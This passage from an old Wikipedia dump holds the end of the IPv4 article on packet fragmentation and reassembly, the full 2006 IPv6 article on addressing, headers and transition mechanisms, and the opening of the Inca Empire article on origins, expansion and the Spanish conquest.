|rowspan=&quot;2&quot; align=&quot;center&quot;| 2 ||colspan=&quot;2&quot; align=&quot;center&quot;| 1020 ||rowspan=&quot;2&quot; align=&quot;center&quot; {{yes}} ||rowspan=&quot;2&quot; align=&quot;center&quot;| 1480
|-
| align=&quot;center&quot;| 20 || align=&quot;center&quot;| 1000
|-
|rowspan=&quot;2&quot; align=&quot;center&quot;|  3 ||colspan=&quot;2&quot; align=&quot;center&quot;| 1500 ||rowspan=&quot;2&quot; align=&quot;center&quot; {{yes}} ||rowspan=&quot;2&quot; align=&quot;center&quot;| 2480
|-
| align=&quot;center&quot;| 20 || align=&quot;center&quot;| 1480
|-
|rowspan=&quot;2&quot; align=&quot;center&quot;| 4 ||colspan=&quot;2&quot; align=&quot;center&quot;| 560 ||rowspan=&quot;2&quot; align=&quot;center&quot; {{no}} ||rowspan=&quot;2&quot; align=&quot;center&quot;| 3960
|-
| align=&quot;center&quot;| 20 || align=&quot;center&quot;| 540
|}

Indeed, the amount of data has been preserved &amp;mdash; 1480 + 1000 + 1480 + 540 = 4500 &amp;mdash; and the last fragment offset plus data &amp;mdash; 3960 + 540 = 4500 &amp;mdash; is also the total length.

Note that fragments 3 &amp; 4 were dervied from the original fragment 2.  When a device must fragment the last fragment then it must set the flag for all but the last fragment it creates (fragment 3 in this case).

===Reassembly===
When a receiver detects an IP packet where either of the following is true:

* &quot;more fragments&quot; flag set
* &quot;fragment offset&quot; field is non-zero

then the receiver knows it is the packet is a fragment.
The receiver then stores the data with the identification field, fragment offset, and the more fragments flag.
When the receiver recives a fragment with the more fragments flag not set then it knows the length of the original data payload since the fragment offset plus the data length is equivalent to the original data payload size.

Using the example above, when the receiver receives fragment #4 the fragment offset (3960) and the data length (540) added together yield 4500 &amp;mdash; the original data length.

Once it has all the fragments then it can reassemble the data in proper order (by using the fragment offsets) and pass it up the stack for further processing.

==See also==
* [[Classful network]]
* [[Classless Inter-Domain Routing]]
* [[Internet Assigned Numbers Authority]]
* [[IPv6]]
* [[List of assigned Class A IP addresses]]
* [[List of IP protocol numbers]]
* [[Regional Internet Registry]]

==External links==
* RFC 791 - Internet Protocol
* http://www.iana.org &amp;ndash; Internet Assigned Numbers Authority (IANA)
* http://www.ipnow.org &amp;ndash; IPv4 and Other IP Address Formats Detector

===Address exhaustion===
* [http://www.ripe.net/rs/news/ipv4-ncc-20031030.html RIPE report on address consumption as of October 2003]
* [http://www.iana.org/assignments/ipv4-address-space Official current state of IPv4 /8 allocations, as maintained by IANA]
* [http://bgp.potaroo.net/ipv4/ Dynamically generated graphs of IPv4 address consumption with predictions of exhaustion dates]
* [http://www.whatsmyipaddy.com/ Display your IP Address, Browser Information, and more]
* [http://www.ripe.net/info/info-services/ipv4/index.html Article on IPv4 Exhaustion - &quot;Running Out of Time?&quot;]
* [http://www.rfc-editor.org/rfc.html Internet RFC database] and [http://www.rfcsearch.org/ Internet RFCs in HTML format]
* [http://www.apnic.net/news/hot-topics/internet-gov/ip-china.html APNIC hot topics - IP addressing in China and the myth of address shortage]

[[Category:Internet protocols]]
[[Category:Internet standards]]
[[Category:Internet architecture]]

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  </page>
  <page>
    <title>IPv6</title>
    <id>15318</id>
    <revision>
      <id>41646186</id>
      <timestamp>2006-02-28T19:43:08Z</timestamp>
      <contributor>
        <ip>63.109.22.7</ip>
      </contributor>
      <comment>/* Spelling fix &quot;Tunnelling&quot; to Tunneling */</comment>
      <text xml:space="preserve">{{IPstack}} &lt;!-- Edit the stack image at: Template:IPstack --&gt;
'''Internet Protocol version 6''' ('''IPv6''') is a [[network layer]] standard used by electronic devices to exchange data across a [[packet]]-switched [[internetwork]]. It follows [[IPv4]] as the second version of the [[Internet Protocol]] to be formally adopted for general use. 

IPv6 is intended to provide more addresses for networked devices, allowing, for example, each cell phone and mobile electronic device to have its own address. IPv4 supports 4.3&amp;times;10&lt;sup&gt;9&lt;/sup&gt; (4.3 billion) addresses, which is inadequate to give one to every living person. IPv6 supports 3.4&amp;times;10&lt;sup&gt;38&lt;/sup&gt; addresses, or 5&amp;times;10&lt;sup&gt;28&lt;/sup&gt; for each of the roughly 6.5 billion people alive today. 

Invented by [[Steve Deering]] and [[Craig Mudge]] at [[Xerox PARC]], IPv6 was adopted by the [[Internet Engineering Task Force]] in [[1994]], when it was called &quot;IP Next Generation&quot; (IPng). (Incidentally, [[IPv5]] was not a successor to IPv4, but an experimental flow-oriented [[streaming media|streaming]] protocol intended to support video and audio.)

As of December 2005, IPv6 accounts for a tiny percentage of the live addresses in the publicly-accessible Internet, which is still dominated by IPv4. The adoption of IPv6 has been slowed by the introduction of [[network address translation]] (NAT), which partially alleviates address exhaustion. The [[Federal government of the United States|U.S. Government]] has specified that all federal agencies must deploy IPv6 by [[2008]].

It is expected that IPv4 will be supported alongside IPv6 for the foreseeable future.

==Features of IPv6==

To a great extent, IPv6 is a conservative extension of IP. Most transport- and application-layer protocols need little or no change to work over IPv6; exceptions are applications protocols that embed network-layer addresses (such as [[File_Transfer_Protocol|FTP]] or [[Network_Time_Protocol|NTPv3]]).

===Larger address space===

The main feature of IPv6 is the larger address space: addresses in IPv6 are 128 bits long.

The larger address space allows to avoid the potential exhaustion of the IPv4 address space without the need for NAT and other devices that break the end-to-end nature of Internet traffic.

128 bits might seem overkill to achieve that goal.  However, since IPv6 addresses are plentiful, it is reasonable to allocate addresses in large blocks, which makes administration easier and avoids fragmentation of the address space, which in turn leads to smaller routing tables.  The current allocation policies allocate 64 bits of address space to an end-user, and 96 bits or more to an organization.

Another advantage of the larger address space is that it makes scanning certain IP blocks for vulnerabilities significantly more difficult than in IPv4, which makes IPv6 more tolerant against malicious traffic.

===Stateless autoconfiguration of hosts===

IPv6 hosts can configure automatically when connected to a routed IPv6 network.  When first connected to a network, a host sends a link-local [[multicast]] ([[Broadcasting_(networks)|broadcast]]) request for its configuration parameters; if configured suitably, routers respond to such a request with a ''router advertisement'' packet.

If IPv6 autoconfiguration is not suitable, a host can use stateful autoconfiguration ([[Dynamic_Host_Configuration_Protocol|DHCPv6]]) or be configured manually.

Stateless autoconfiguration is only suitable for hosts; routers must be configured manually or by other means.

===Multicast===

[[Multicast]] (both on the local link and across routers) is part of the base protocol suite in IPv6.  This is in opposition to IPv4, where multicast is optional and only rarely deployed across routers.

IPv6 does not have a link-local broadcast facility; the same effect can be achieved by multicasting to the all-hosts group with a hop count of one.

===Jumbograms===

In IPv4, packets are limited to 64KB of payload.  When used over suitable link layers, IPv6 has support for packets over this limit, affectionately known as ''jumbograms''.  Use of jumbograms might improve performance over high-throughput networks. For example, on [[Myrinet]] the MTU is effectively unlimited and IPv6-over-Myrinet could use Jumbograms to send very large payloads.

===Faster routing===

By using a simpler and more systematic header structure, IPv6 was supposed to improve the performance of routing.  Recent advances in router technology, however, may have made this improvement obsolete.

===Network-layer security===

[[IPsec]] — the protocol for IP network-layer encryption and authentication — is an integral part of the base protocol suite in IPv6.  It is, however, not yet deployed widely except for securing BGP traffic between IPv6 routers.

==Addressing==
===128-bit length===
&lt;!--IPv4 supports 4,294,967,296 address --&gt;
The primary change from IPv4 to IPv6 is the length of network addresses. IPv6 addresses are 128 bits long (as defined by [[Request for Comments|RFC 2373]] and [[Request for Comments|RFC 2374]]).

IPv6 addresses are typically composed of two logical parts: a 64-bit network prefix, and a 64-bit host part, which is either automatically generated from the interface's [[MAC address]] or assigned sequentially.

===Notation===
IPv6 addresses are normally written as eight groups of four [[hexadecimal]] digits.  For example, &lt;small&gt;2001:0db8:85a3:08d3:1319:8a2e:0370:7334&lt;/small&gt; is a valid IPv6 address.

If a four-digit group is 0000, the zeros may be omitted. For example, &lt;small&gt;2001:0db8:85a3:0000:1319:8a2e:0370:7344&lt;/small&gt; can be shortened as &lt;small&gt;2001:0db8:85a3::1319:8a2e:0370:7344&lt;/small&gt;. Following this rule, any group of consecutive 0000 groups may be reduced to two colons, as long as there is only one double colon used in an address. Thus, the lines below are all valid and equivalent. 
 2001:0DB8:0000:0000:0000:0000:1428:57ab
 2001:0DB8:0000:0000:0000::1428:57ab
 2001:0DB8:0:0:0:0:1428:57ab
 2001:0DB8:0::0:1428:57ab
 2001:0DB8::1428:57ab
Having more than one double-colon abbreviation in an address is invalid as it would make the notation ambiguous.

Leading zeros in a group can be omitted. Thus &lt;small&gt;2001:0DB8:02de::0e13&lt;/small&gt; may be shortened to &lt;small&gt;2001:DB8:2de::e13&lt;/small&gt;.

A sequence of 4 bytes at the end of an IPv6 address can also be written in decimal, using dots as separators.  This notation is often used with compatibility addresses (see below).  Thus, ::ffff:1.2.3.4 is the same address as ::ffff:102:304.

Additional information can be found at RFC 3513 - IP Version 6 Addressing Architecture.

===Network notation===

IPv6 networks are written using [[Classless_Inter-Domain_Routing#CIDR_notation|CIDR notation]].

An IPv6 network (or subnet) is a contiguous group of IPv6 addresses the size of which must be a power of two; the initial bits of addresses which are identical for all hosts in the network are called the network's prefix.

A network is denoted by the first address in the network and the size in bits of the prefix, separated with a slash.  For example, &lt;small&gt;2001:1234:5678:9ABC::/64&lt;/small&gt; stands for the network with addresses &lt;small&gt;2001:1234:5678:9ABC::&lt;/small&gt; through &lt;small&gt;2001:1234:5678:9ABC:FFFF:FFFF:FFFF:FFFF&lt;/small&gt;.

Because a single host can be seen as a network with a 128-bit prefix, you will sometimes see host addresses written followed with &lt;small&gt;/128&lt;/small&gt;.

===Special addresses===
There are a number of addresses with special meaning in IPv6:
* ::/128 &amp;ndash; the address with all zeroes is used to specify any address, and is only to be used in software.
* ::1/128 &amp;ndash; the [[loopback]] address is a localhost address. If an application in an host sends packets to this  address, the IPv6 stack will loop these packets back to the same host (corresponding to [[127.0.0.1]] in IPv4).
* ::/96 &amp;ndash; the zero prefix was used for [[IPv4-compatible address]]es (see ''Transition mechanisms'' below)
* ::ffff:0:0/96 &amp;ndash; this prefix is used for [[IPv4 mapped address]]es (see ''Transition mechanisms'' below)
* fc00::/7 &amp;ndash; Unique Local IPv6 Unicast Addresses are only routable within a set of cooperating sites.  They were defined in RFC 4193 as a replacement for site-local addresses (see below).  The addresses include a 40-bit [[pseudorandom]] number that minimizes the risk of conflicts if sites merge or packets somehow leak out.
* fe80::/10 &amp;ndash; The link-local prefix specifies that the address only is valid in the local physical link.  This is analogous to the Autoconfiguration IP address 169.254.x.x in v4.
* fec0::/10 &amp;ndash; The site-local prefix specifies that the address is only valid inside the local organisation. Its use has been deprecated in September 2004 by RFC 3879 and future systems must not implement any support for this special type of address anymore.
* ff00::/8 &amp;ndash; The multicast prefix is used for [[multicast]] addresses.

There are no address ranges reserved for broadcast in IPv6 &amp;mdash; applications are supposed to use multicast to the ''all-hosts'' group instead.

==IPv6 packet==
[[Image:IPv6 header rv1.png|right|thumb|400px|The structure of an IPv6 packet header.]]
The IPv6 packet is composed of two main parts: the header and the payload. 

The header is in the first 40 octets of the packet and contains both source and destination addresses (128 bits each), as well as the version (4-bit IP version), traffic class (8 bits, Packet Priority), flow label (20 bits, [[Quality of service|QoS]] management), payload length (16 bits), next header (8 bits), and hop limit (8 bits, [[Time to Live|time to live]]).  The payload can be up to 64k in size in standard mode, or larger with a &quot;jumbo payload&quot; option.

[[IPv4#Fragmentation and reassembly|Fragmentation]] is handled only in the sending host in IPv6: routers never fragment a packet, and hosts are expected to use [[PMTU]] discovery.

In IPv6, options move out of the standard header and are specified by the Next Header field, similar in function to IPv4's Protocol field. A [[handwaving]] example: in IPv4 one would add a [[Strict Source and Record Routing]] (SSRR) option to the IPv4 header itself in order to enforce a certain route for the packet, but in IPv6 one would make the Next Header field indicate that a Routing header comes next. The Routing header would then specify the additional routing information for the packet, and then indicate that, for example, the TCP header comes next. This is analogous to the handling of AH and ESP in [[IPsec]] for IPv4 (which applies to IPv6 as well, of course).

==IPv6 and the Domain Name System==
IPv6 addresses are represented in the [[Domain Name System]] by ''AAAA records'' (so-called quad-A records) for forward lookups; [[reverse DNS lookup|reverse lookup]]s take place under &lt;tt&gt;ip6[[.arpa]]&lt;/tt&gt; (previously &lt;tt&gt;ip6[[.int]]&lt;/tt&gt;), where address space is delegated on [[nibble]] boundaries. This scheme, which is a straightforward adaptation of the familiar [[A record]] and ''in-addr.arpa'' schemes, is defined in RFC 3596.

The AAAA scheme was one of two proposals at the time the IPv6 architecture was being designed. The other proposal would have had ''A6 records'' for the forward lookup and a number of other innovations such as ''bit-string labels'' and ''DNAME records''. It is defined in the experimental RFC 2874 and its references (with further discussion of the pros and cons of both schemes in RFC 3364).

==IPv6 deployment==
In February 1999, The IPv6 Forum was founded by the IETF Deployment WG to drive deployment worldwide creating by now over 30 IPv6 Country Fora and IPv6 Task Forces [http://www.ipv6forum.org IPv6 FORUM].
On [[20 July]] [[2004]] [[ICANN]] announced[http://icann.org/announcements/announcement-20jul04.htm] that the root [[DNS]] servers for the Internet had been modified to support both IPv6 and IPv4.

A global view into the IPv6 routing tables which displays also which ISP's are already deploying IPv6 can be found by looking at the [http://www.sixxs.net/tools/grh/dfp/all/ SixXS Ghost Router Hunter] pages, these pages display a list of all allocated IPv6 prefixes and giving colors to the ones that are actually being announced in [[Border Gateway Protocol|BGP]]. When a prefix is announced that means that the ISP at least can receive IPv6 packets for their prefix. They might then actually also offer IPv6 services, maybe even to end users/sites directly.

==Transition mechanisms==

Until IPv6 completely supplants IPv4, which is not likely to happen in the foreseeable future, a number of so-called ''transition mechanisms'' are needed to enable IPv6-only hosts to reach IPv4 services and to allow isolated IPv6 hosts and networks to reach the IPv6 Internet over the IPv4 infrastructure.

===Dual stack===

Since IPv6 is a conservative extension of IPv4, it is relatively easy to write a network stack that supports both IPv4 and IPv6 while sharing most of the code.  Such an implementation is called a ''dual stack'', and a host implementing a dual stack is called a ''dual-stack host''.  This approach is described in RFC2893[http://www.ietf.org/rfc/rfc2893.txt?number=2893].

Most current implementations of IPv6 use a dual stack.  Some early experimental implementations used independent IPv4 and IPv6 stacks.  There are no known implementations that implement IPv6 only.

===Tunneling===

In order to reach the IPv6 Internet, an isolated host or network must be able to use the existing IPv4 infrastructure to carry IPv6 packets.  This is done using a technique somewhat misleadingly known as ''[[tunneling_protocol|tunnelling]]'' which consists in encapsulating IPv6 packets within IPv4, in effect using IPv4 as a link layer for IPv6.

IPv6 packets can be directly encapsulated within IPv4 packets using a protocol number of 41.  They can also be encapsulated within UDP packets e.g. in order to cross a router or NAT device that block protocol 41 traffic.  They can of course also use generic encapsulation schemes, such as [[AYIYA]] or [[Generic_Routing_Encapsulation|GRE]].

====Automatic tunneling====

''Automatic tunneling'' refers to a technique where the tunnel endpoints are automatically determined by the routing infrastructure.  The recommended technique for automatic tunneling is [[6to4]][http://www.ietf.org/rfc/rfc3056.txt] tunneling, which uses protocol 41 encapsulation.  Tunnel endpoints are determined by using a well-known IPv4 anycast address on the remote side, and embedding IPv4 address information within IPv6 addresses on the local side.  6to4 is widely deployed today.

''[[Teredo_tunneling|Teredo]]'' [http://www.ietf.org/rfc/rfc4380.txt] is an automatic tunneling technique that uses UDP encapsulation and is claimed to be able to cross multiple NAT boxes.  Teredo is not widely deployed today, but an experimental version of Teredo is installed with the default Windows XP SP2 IPv6 stack.

====Configured tunneling====

''Configured tunneling'' is a technique where the tunnel endpoints are configured explicitly, either by a human operator or by an automatic service known as a [[Tunnel Broker]][http://www.ietf.org/rfc/rfc3053.txt].  Configured tunneling is usually more deterministic and easier to debug than automatic tunneling, and is therefore recommended for large, well-administered networks.

Configured tunneling typically uses either protocol 41 (recommended) or raw UDP encapsulation.

=== Proxying and translation ===

When an IPv6-only host needs to access an IPv4-only service (for example a web server), some form of translation is necessary.  The one form of translation that actually works is the use of a dual-stack [[Proxy_server|application-layer proxy]], for example a web proxy.

Techniques for application-agnostic translation at the lower layers have also been proposed, but they have been found to be too unreliable in practice due to the wide range of functionality required by common application-layer protocols, and are commonly considered to be obsolete.  See for example NAT-PT[http://www.ietf.org/rfc/rfc2766.txt], [[TCP-UDP Relay]][http://www.ietf.org/rfc/rfc3142.txt], Socks-based Gateway[http://www.ietf.org/rfc/rfc3089.txt], [[Bump-in-the-Stack]] or [[Bump-in-the-API]][http://www.ietf.org/rfc/rfc2767.txt].

==Major IPv6 announcements==
*In [[2003]], [[Nihon Keizai Shimbun]] (as cited in CNET Asia Staff, 2003) reported that [[Japan]], [[China]], and [[South Korea]] claimed to have made themselves determined to become the leading nations in internet technology, which would partially take the form of jointly developing IPv6, and completely adopting IPv6 starting in 2005.
*[[ICANN]] announced on [[20 July]] [[2004]] that the IPv6 AAAA records for the Japan (.jp) and Korea (.kr) country code Top Level Domain (ccTLD) nameservers became visible in the [[DNS root server]] zone files with serial number 2004072000. The IPv6 records for France (.fr) were added a little later. This made IPv6 operational in a public fashion.

==Related IETF working groups==
* [http://www.ietf.org/html.charters/OLD/6bone-charter.html 6bone] IPv6 Backbone
* [http://www.ietf.org/html.charters/OLD/ipngwg-charter.html ipng] IP Next Generation (concluded)
* [http://www.ietf.org/html.charters/ipv6-charter.html ipv6] IP Version 6
* [http://www.ietf.org/html.charters/OLD/ipv6mib-charter.html ipv6mib] IPv6 MIB (concluded)
* [http://www.ietf.org/html.charters/multi6-charter.html multi6] Site Multihoming in IPv6
* [http://www.ietf.org/html.charters/shim6-charter.html shim6] Site Multihoming by IPv6 Intermediation
* [http://www.ietf.org/html.charters/v6ops-charter.html v6ops] IPv6 Operations

==Further reading==

=== Core specifications ===
* RFC 1924: A Compact Representation of IPv6 Addresses
* RFC 2374: An IPv6 Aggregatable Global Unicast Address Format
* RFC 2460: Internet Protocol, Version 6 (IPv6) Specification (obsoletes RFC 1883)
* RFC 2463: Internet Control Message Protocol (ICMPv6) for the IPv6 Specification
* RFC 2464: Transmission of IPv6 Packets over Ethernet Networks
* RFC 3513: Internet Protocol Version 6 (IPv6) Addressing Architecture (obsoletes RFC 2373)

=== Stateless autoconfiguration ===
* RFC 2461: Neighbor Discovery for IP Version 6 (IPv6)
* RFC 2462: IPv6 Stateless Address Autoconfiguration

=== Programming ===
* RFC 3493: Basic Socket Interface Extensions for IPv6 (obsoletes RFC 2553)
** see [[Getaddrinfo#Protocol_Independent_Programming|&lt;tt&gt;getaddrinfo&lt;/tt&gt;]] for an example of client/server programming in an IPv4/IPv6 independent manner using some of RFC 3493 extensions
* RFC 3542: Advanced Sockets Application Program Interface (API) for IPv6 (obsoletes RFC 2292)
* RFC 4038: Application Aspects of IPv6 Transition

=== Books ===
There are a number of IPv6 books:
* ISBN 1590595270 [http://www.runningipv6.net Running IPv6] (2006)
* ISBN 0596009348 [http://www.oreilly.com/catalog/ipv6na/ IPv6 Network Administration] (2005)
* ISBN 3952294209 [http://www.sunny.ch/publications/f_ipv6SE.htm IPv6 - Grundlagen, Funktionalität, Integration]] by Silvia Hagen (German Edition, 2004)
* ISBN 0596001258 [http://www.sunny.ch/publications/f_ipv6.htm IPv6 Essentials]] by Silvia Hagen (English, 2002)
* IPv6, théorie et pratique, by Gisèle Cizault (in French).  This is available online [http://livre.point6.net/].
* ISBN 013241936X [http://www.huitema.net/ipv6.asp IPv6: The New Internet Protocol] by Christian Huitema (1998) (The original IPv6 bible)

==External links==
=== Misc ===
* [http://www.ipv6tf.org The IPv6 Portal] - All the IPv6 News and Info
* [http://www.sixxs.net SixXS] - IPv6 Deployment &amp; Tunnel Broker
* [http://tb.ipv6.btexact.com BT Exact] - Free IPv6 Tunnel Broker
* [http://www.moonv6.org/ Moonv6]
* [http://www.ipv6.bieringer.de Display Connection information of IPv6 Clients] (IPv6 only)
* [http://www.govexec.com/dailyfed/0605/062905tdpm2.htm Federal gov to deploy IPv6 by 2008]
* [http://bgp.potaroo.net/iso3166/v4cc.html Dominance of IPv4 in current market]
* [http://bgp.potaroo.net/iso3166/v6cc.html Percentage of current market]
* [http://linuxreviews.org/features/ipv6/ Why you want IPv6]
* [http://cr.yp.to/djbdns/ipv6mess.html The IPv6 mess], a critique of the IPv6 transition plan, by D. J. Bernstein

=== Address Space ===
* [http://www.iana.org/assignments/ipv6-address-space IANA Address Assignments]
* [http://www.sixxs.net/tools/grh/ GRH] SixXS's Ghost Route Hunter (Looking Glass + Address Usage overview)
* [http://www.cisco.com/en/US/about/ac123/ac147/archived_issues/ipj_8-3/ipv4.html  A Pragmatic Report on IPv4 Address Space Consumption]
* [http://bgp.potaroo.net/ipv4/ Exhaustion of IP resources]
* [http://www.3com.com/other/pdfs/infra/corpinfo/en_US/501302.pdf Understanding IP Addressing Everything You Ever Wanted To Know] Detailed explanation of IPv4/6 implementation.
* [http://www.hznet.de/tools/generate-rfc4193-addr A tool to generate uniq local IPv6 unicast addresses] (In conformance with RFC4193)

=== Software (Operating Systems + Applications) ===
* [http://www.kame.net/ KAME] BSD IPv6 Stack
* [http://www.linux-ipv6.org/ USAGI] Linux IPv6 Stack
* [http://www.deepspace6.net/docs/ipv6_status_page_apps.html DeepSpace6] - Current Status of Applications supporting IPv6 / Linux IPv6 Info
* [http://playground.sun.com/pub/ipng/html/INET-IPng-Paper.html Overview of IPng/IPv6] (provided by one of the co-chairs of the SIPP [[working group]])

[[Category:Internet protocols]]
[[Category:Internet standards]]
[[Category:Internet architecture]]

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  </page>
  <page>
    <title>Inca Empire</title>
    <id>15319</id>
    <revision>
      <id>42078560</id>
      <timestamp>2006-03-03T17:57:19Z</timestamp>
      <contributor>
        <username>RexNL</username>
        <id>241337</id>
      </contributor>
      <minor />
      <comment>Reverted edits by [[Special:Contributions/68.153.36.3|68.153.36.3]] ([[User talk:68.153.36.3|talk]]) to last version by Huhsunqu</comment>
      <text xml:space="preserve">:''For other meanings of &quot;Inca&quot;, see [[Inca (disambiguation)]].''
{{History of Peru}}
[[Image:Machu-Picchu.jpg|thumbnail|290px|right|A view of [[Machu Picchu]], &quot;the [[Lost city|Lost City]] of the Incas,&quot; now an [[archaeological site]].]]The '''Inca Empire''' ('''Tawantin Suyu''' in [[Quechuan and Aymaran spelling shift|Quechua modern orthography]], or '''Tahuantinsuyo''' in [[Quechuan and Aymaran spelling shift|Hispanicized Quechua orthography]]; ''The Four United Regions''), was an empire centered in what is now [[Peru]] from [[Anno Domini|AD]] [[1438]] to AD [[1533]]. Over that period, the Inca used conquest and peaceful assimilation to incorporate in their empire a large portion of western South America, centred on the [[Andes|Andean]] mountain ranges. The Inca empire proved short-lived: by AD [[1533]], [[Atahualpa]], the last Inca emperor, called a [[Sapa Inca]], was killed on the orders of the [[conquistador]] [[Francisco Pizarro]], marking the beginning of Spanish rule.

''Tawantinsuyu'', the indigenous name of the empire, derives from the [[Quechua]] &quot;tawa&quot; (''four'') , to which the suffix &quot;-ntin&quot; (''together'' or ''united'') is added, followed by &quot;suyu&quot; (''region'' or ''province''), which roughly renders as &quot;''The land of the four parts together''&quot;. The empire was divided into four ''suyu''s, whose corners - according to Inca mythology - met at the &quot;Navel of the World&quot; (''Qosqo''), where their capital [[Cusco]] was located, now in modern-day [[Peru]].

The official language of the empire was [[Quechua language|Quechua]], although over seven hundred local languages were spoken. The Inca leadership encouraged the worship of their [[Deity|gods]], the foremost of which was [[Inti]], the [[Solar deity|sun god]].

== Origin stories ==
''See also: [[Inca mythology]]''

The Inca had two main origin myths. In one, Tici Viracocha of Colina de las Ventanas in [[Pacaritambo]] sent forth his four sons and four daughters to establish a village. Along the way, [[Sinchi Roca]] was born to [[Manco Capac|Manco]] and [[Mama Ocllo|Ocllo]], and Sinchi Roca is the person who finally led them to the valley of Cuzco where they founded their new village. There Manco became their leader and became known as [[Manco Capac]].

In the other origin myth, the sun god [[Inti]] ordered Manco Capac and [[Mama Ocllo]] to emerge from the depths of [[Lake Titicaca]] and found the city of Cuzco. They traveled by means of underground caves until reaching Cuzco where they established [[Sapa Inca|Hurin Cuzco]], or the first dynasty of the Kingdom of Cuzco.

The knowledge of these myths is due to oral tradition, since the Incas did not have writing. There probably did exist a Manco Capac who became the leader of his tribe. The archeological evidence seems to indicate that the Inca were a relatively unimportant tribe until the time of Sinchi Roca, also called Cinchi Roca, who is the first figure in Inca mythology whose existence can be supported historically.

== Emergence and expansion ==
[[Image:Inca-expansion.png|thumb|350px|right|Inca expansion (1438 - 1527 CE)]]

The Inca people began as a tribe in the Cuzco area around the [[12th century]] CE. Under the leadership of [[Manco Capac]], they formed the small city-state of Cuzco ([[Quechua]] ''Qosqo''), shown in red on the map.

In [[1438]] CE, under the command of [[Sapa Inca]] (paramount leader) [[Pachacuti]], whose name literally meant &quot;world-shaker&quot;, they began a far-reaching expansion.  The land Pachacuti conquered was about the size of the [[Thirteen Colonies]] of the [[United States]] in [[1776]], and consisted of nearly the entire [[Andes]] mountain range.

Pachacuti reorganized the kingdom of Cuzco into an empire, the Tahuantinsuyu, a [[federation|federalist system]] which consisted of a central government with the Inca at its head and four provincial governments with strong leaders: [[Chinchasuyu]] (NW), [[Antisuyu]] (NE), [[Contisuyu]] (SW), and [[Collasuyu]] (SE). Pachacuti is also thought to have built [[Machu Picchu]], either as a family home or as a [[Camp David]]-like retreat.

Pachacuti would send spies to regions he wanted in his empire who would report back on their political organization, military might and wealth. He would then send messages to the leaders of these lands extolling the benefits of joining his empire, offering them presents of luxury goods such as high quality textiles, and promising that they would be materially richer as subject rulers of the Inca. Most accepted the rule of the Inca as a ''[[List of French phrases used by English speakers#D .E2.80.93 H|fait accompli]]'' and acquiesced peacefully. The ruler's children would then be brought to Cuzco to be taught about Inca administration systems, then return to rule their native lands. This allowed the Inca to indoctrinate the former ruler's children into the Inca nobility, and, with luck, marry their daughters into families at various corners of the empire.

It was traditional for the Inca's son to lead the army; Pachacuti's son [[Túpac Inca]] began conquests to the north in [[1463]], and continued them as Inca after Pachucuti's death in [[1471]].  His most important conquest was the Kingdom of [[Chimor]], the Inca's only serious rival for the coast of Peru. Túpac Inca's empire stretched north into modern day Ecuador and Colombia. 

Túpac Inca's son [[Huayna Cápac]] added significant territory to the south.  At its height, Tahuantinsuyu included [[Peru]] and [[Bolivia]], most of what is now [[Ecuador]], a large portion of modern-day [[Chile]], and extended into corners of [[Argentina]] and [[Colombia]].

Tahuantinsuyu was a patchwork of languages, cultures and peoples. The components of the empire were not all uniformly loyal, nor were the local cultures all fully integrated. For instance, the [[Chimú]] used money in their commerce, while the Inca empire as a whole had an economy based on exchange and taxation of luxury goods and labour (it is said that Inca tax collectors would take the head lice of the [[disability|lame]] and old as a symbolic tribute). The portions of the [[Chachapoya]] that had been conquered were almost openly hostile to the Inca, and the Inca nobles rejected an offer of refuge in their kingdom after their troubles with the Spanish.

==Spanish conquest and Vilcabamba==
''Main article: [[Spanish conquest of the Inca Empire]]''

Spanish [[conquistadors]] led by [[Francisco Pizarro]] explored south from Panama, reaching Inca territory by [[1526]].  It was clear that they had reached a wealthy land with prospects of great treasure, and after one more expedition ([[1529]]), Pizarro travelled to Spain and received royal approval to conquer the region and be its viceroy.  

At the time they returned to Peru, in [[1532]], a war of succession between Huayna Capac's sons [[Huascar]] and [[Atahualpa]] and unrest among newly-conquered territories-- and perhaps more importantly, [[smallpox]], which had spread from Central America-- had considerably weakened the empire. 

Pizarro did not have a formidable force; with just 180 men, 1 cannon and only 27 horses, he often needed to talk his way out of potential confrontations that could have easily wiped out his party.  Their first engagement was the [[battle of Puná]], near present-day [[Guayaquil]], [[Ecuador]]; Pizarro then founded the city of [[Piura]] in July [[1532]]. [[Hernando de Soto]] was sent inland to explore the interior, and returned with an invitation to meet the Inca, Atahualpa, who had defeated his brother in the civil war and was resting at [[Cajamarca]] with his army of 80,000 troops.

Pizarro met with the Inca, who had brought only a small retinue, and through interpreters demanded that he convert to Christianity.  Atahualpa was handed a Bible and threw it on the floor, which the Spanish interpreted as adequate reason for war, though some chroniclers suggest that Atahualpa simply didn't understand the notion of a book.  The Spanish attacked the Inca's retinue (see [[Battle of Cajamarca]]), capturing Atahualpa.

Atahualpa offered the Spaniards enough gold to fill the room he was imprisoned in, and twice that amount of silver.  The Incas fulfilled this ransom, but Pizarro refused to release the Inca.  During Atahualpa's imprisonment Huascar was assassinated.  The Spanish maintained that this was at Atahualpa's orders; this was one of the charges used against Atahualpa when the Spanish finally decided to put him to death, in August [[1533]].

The Spanish installed his brother [[Manco Inca Yupanqui]] in power; for some time Manco cooperated with the Spanish, while the Spanish fought to put down resistance in the north.  Meanwhile an associate of Pizarro's, [[Diego de Almagro]], attempted to claim [[Cusco]] for himself.  Manco tried to use this intra-Spanish feud to his advantage, recapturing Cusco ([[1536]]), but the Spanish retook the city.

Manco Inca then retreated to the mountains of [[Vilcabamba]], where he and his successors ruled for another 36 years, sometimes raiding the Spanish or inciting revolts against them.  In [[1572]] the last Inca stronghold was discovered, and the last ruler, [[Túpac Amaru]], Manco's son, was captured and executed, bringing the Inca empire to an end.

== After the Spanish conquest ==
After the fall of Tahuantinsuyu, the new Spanish rulers brutally repressed the people and their traditions. Many aspects of Inca culture were systematically destroyed, including their sophisticated farming system.  The Spanish used the Inca [[Mita (Inca)|mita]] (mandatory public service) system to literally work the people to death.  One member of each family was forced to work in the gold and silver mines, the foremost of which was the titanic silver mine at [[Potosí]].  When one family member died, which would usually happen within a year or two, the family would be required to send a replacement. 

The major languages of the empire, [[Quechua language|Quechua]] and [[Aymara language|Aymara]], were employed by the [[Catholic Church]] to evangelize in the [[Andean]] region. In some cases, these languages were taught to peoples who had originally spoken other indigenous languages. Today, Quechua and Aymara remain the most widespread [[Amerindian language]]s.

The legend of the Inca has served as inspiration for resistance movements in the region. These include the [[1780]] rebellion led by [[Tupac Amaru II]] against the Spanish, as well as contemporary the [[guerrilla warfare|guerrilla]] movements [[Túpac Amaru Revolutionary Movement]] (MRTA) and [[Shining Path|Sendero Luminoso]] in Peru and [[Tupamaros]] in [[Uruguay]]. 

Tawantinsuyu has a modern [[rainbow flag]] which is displayed throughout Peru.

== Society ==
